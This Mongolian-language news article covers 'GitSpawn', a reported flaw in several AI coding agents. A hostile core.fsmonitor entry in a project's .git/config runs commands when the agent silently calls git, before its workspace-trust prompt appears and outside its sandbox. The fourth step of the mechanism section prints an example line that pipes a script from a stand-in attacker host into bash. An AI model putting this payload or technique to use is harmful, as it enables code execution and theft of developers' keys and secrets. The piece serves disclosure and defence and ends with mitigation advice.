Фолдер нээхэд л хангалттай: "GitSpawn" эмзэг байдал Claude Code, Cursor, Codex агентуудыг цочроолоо

Өнөөгийн програм хангамж хөгжүүлэгчийн ажлын өдөр ихэвчлэн ингэж эхэлдэг: хамтран ажиллагч, эсвэл үйлчлүүлэгчээсээ нэгэн төслийн ZIP архив хүлээн аваад, задалж, терминал дээрээ эсвэл IDE дээрээ нээдэг. Тэгээд шинэ үеийн AI агентаа дуудаж, "Энэ код ямар учиртай төсөл болохыг тайлбарлаад өгөөч" гэж бичихээр бэлдэнэ.

Гэтэл та ямар ч асуулт бичээгүй, агентын "Энэ хавтсанд итгэх үү?" (Workspace Trust) гэсэн анхааруулга дээр ч дарж амжаагүй байхад хакерын дурын комманд таны компьютерт таны бүрэн эрхээр ажиллачихсан байвал яах вэ?

Кибер аюулгүй байдлын чиглэлээр дагнан ажилладаг Manifold Security судалгааны баг хөгжүүлэгчдийн өдөр тутмын амьдралд нэвтэрсэн хамгийн алдартай 7 AI кодинг агент дээр ийм төрлийн 8 ноцтой эмзэг байдал байгааг илрүүлж, үүнийгээ "GitSpawn" хэмээн нэрлэжээ.

---

GitSpawn гэж юу вэ? Халдлага хаанаас эхлэв?

GitSpawn бол AI моделийн алдаа биш, харин агентын системийн угсралт (agent harness) болон Git-ийн олон жилийн түүхтэй нэгэн тохиргооны хослолоос үүссэн Remote Code Execution (RCE) буюу алсаас код ажиллуулах ноцтой цоорхой юм.

Хамгийн түгээмэл ашиглагдаж буй дараах агентууд энэ халдлагад өртөх эрсдэлтэй болох нь тогтоогдсон:

• Claude Code (Anthropic)
• Codex (OpenAI – холбогдох CVE-2026-19592 бүртгэгдсэн)
• Cursor
• Hermes Agent
• Qwen Code
• Grok Build
• Goose

Хамгийн аюултай нь, Claude Code болон Hermes дээр төслийн хавтсыг нээх үед хэрэглэгчид "Workspace Trust" цонх харагдахаас өмнө хакерын код аль хэдийн биелэгддэг бол Qwen Code дээр хэрэглэгч нэвтрэх (authenticate) хийхээс өмнө, Grok Build дээр хөгжүүлэгч ганц товч дармагц л шууд ажиллаж байжээ.

---

Халдлагын техник механизм: core.fsmonitor хэрхэн урхи болов?

Git хувилбар удирдах системд асар олон файлтай том репозиторуудын хурдыг нэмэгдүүлэх зориулалттай core.fsmonitor гэх нэгэн хуучин тохиргоо бий. Git файл бүрийг дискнээс нэг бүрчлэн уншихын оронд тухайн систем дээр ажиллаж буй ямар нэгэн хөнгөн туслах скриптээс "Ямар ямар файлуудад өөрчлөлт орсон бэ?" гэж асуух зориулалттай тушаал юм.

Энэ скриптийн замыг Git тухайн төслийн .git/config файлаас уншдаг. Хамгийн гол асуудал нь git status эсвэл git diff гэх мэт индэксийг шинэчилдэг ямар ч тушаал ажиллах үед Git энэхүү core.fsmonitor-т заасан скриптийг систем дээр автоматаар дууддаг явдал юм.

Орчин үеийн AI кодинг агентууд яг яаж ажилладаг вэ?

1. Агент фолдер дотор ажиллаж эхэлмэгцээ хөгжүүлэгчийн контекстийг бэлдэхийн тулд цаанаа чимээгүйгээр git status --porcelain=2 --branch эсвэл git diff коммандуудыг background дээр ажиллуулдаг.
2. Энэ коммандыг агент өөрийн хамгаалагдсан сэндбокс (sandbox) дотроос биш, хөгжүүлэгчийн үндсэн OS дээр subprocess болгон үүсгэдэг.
3. Үүний үр дүнд агентын аюулгүй байдлын систем тухайн үйлдлийг хортой гэж таних битгий хэл хянаж ч амждаггүй.
4. Хэрэв .git/config файлд fsmonitor = "curl attacker.com/malware.sh | bash" гэх мэт мөр байвал энэ нь тухайн төхөөрөмж дээр нэн даруй хэрэгжиж, SSH түлхүүр, хүрээлэн буй орчны .env нууц үгс, Git token-уудыг бүрэн алдах аюул үүснэ.

---

Яагаад энгийн git clone аюулгүй ч ZIP файл аюултай байдаг вэ?

Олон хөгжүүлэгчид "Бид GitHub-аас өдөр бүр репозитор татдаг шүү дээ, энэ бас халдвар авна гэсэн үг үү?" гэж гайхаж магадгүй.

Үгүй. Хэрэв та терминал дээрээ git clone <url> хийвэл Git клиент нь эх репозиторын хувийн .git/config тохиргооны файлыг хуулдаггүй. Харин таны систем дээр цоо шинэ, цэвэр local .git/config үүсгэдэг учраас эрсдэлгүй.

Гэтэл эрсдэл хаана үүсдэг вэ? Хөгжүүлэгчид зөвхөн git clone хийдэггүй. Үйлчлүүлэгчээс ирсэн ZIP архив, Google Drive эсвэл Dropbox дээрх sync хавтас, Slack эсвэл мессенжерээр авсан эх кодууд бүгд дотроо .git хавтастайгаа хамт ирдэг. Ийм замаар ирсэн архивыг задлаад л AI агентдаа шалгуулахаар өгөхөд халдлага амжилттай хэрэгжих бүх нөхцөл бүрддэг байна.

---

AI агентуудын "хүүхдийн өвчин" буюу системийн дэд бүтцийн эрсдэл

Сүүлийн үед хиймэл оюуны судалгааны төвүүд prompt injection, jailbreak, загварын "сэтгэхүйн хазайлт" зэрэг хийсвэр эрсдэлд анхаарлаа хандуулсаар ирсэн. Гэтэл GitSpawn бидэнд бодит байдал дээрх хамгийн том аюул нь загвар өөрөө биш, түүнийг хүрээлж буй кодын бүтэц (agent harness and plumbing) дээр нуугдаж байгааг харууллаа.

Үнэндээ энэ fsmonitor-ийн асуудал анх удаа гарч байгаа зүйл биш юм. Бүр 2021 онд VS Code яг үүнтэй адил шалтгаанаар (CVE-2021-43891) төсөл нээх үед автоматаар Git тушаал дуудахыг хориглож, Workspace Trust шийдлийг нэвтрүүлж байсан билээ. Гэтэл 2026 оны шинэ үеийн AI компаниуд энэхүү хуучны суурь алдааг өөрсдийн CLI агентууд дээрээ давтан гаргасан нь харамсалтай.

---

Хөгжүүлэгч та одоо юу хийх ёстой вэ?

Энэхүү халдлагаас сэргийлэхийн тулд доорх алхмуудыг яаралтай хэрэгжүүлэхийг зөвлөж байна:

1. Агентуудаа нэн даруй Update хийх: OpenAI, Cursor, Anthropic аль хэдийн өөрсдийн хэрэгслүүддээ нөхөөс (patch) гаргаж эхэлсэн. Хэрэв та claude-code, cursor, goose зэрэг CLI ашигладаг бол хамгийн сүүлийн хувилбар луу яаралтай шинэчлээрэй.
2. ZIP архивуудын .git хавтсыг шалгах: Хэрэв та танихгүй эсвэл баталгаагүй эх сурвалжаас ирсэн ZIP файлыг задалж байгаа бол агентаа ажиллуулахаас өмнө тухайн хавтас дахь .git санг устгах, эсвэл .git/config файлыг шалгаж хэвшээрэй.
3. AI агентуудыг тусгаарлагдсан орчинд ажиллуулах: Өөрийн хувийн SSH түлхүүр, банкны мэдээлэл, бусад төслийн нууц кодууд агуулсан үндсэн OS дээрээ шууд биш Dev Container, Docker, эсвэл хөнгөн VM ашиглан агентуудыг ажиллуулах нь хамгийн найдвартай урт хугацааны хамгаалалт болно.

AI агентууд бидний ажлыг хэд дахин хөнгөвчилж байгаа ч, системийн бүрэн эрхийг тэдэнд өгөхдөө хөгжүүлэгчийн суурь сонор сэрэмжээ алдаж болохгүйг энэхүү үйл явдал дахин санууллаа.

---

Эх сурвалж: The Hacker News, Manifold Security Research Report, OpenAI Security Advisory (CVE-2026-19592)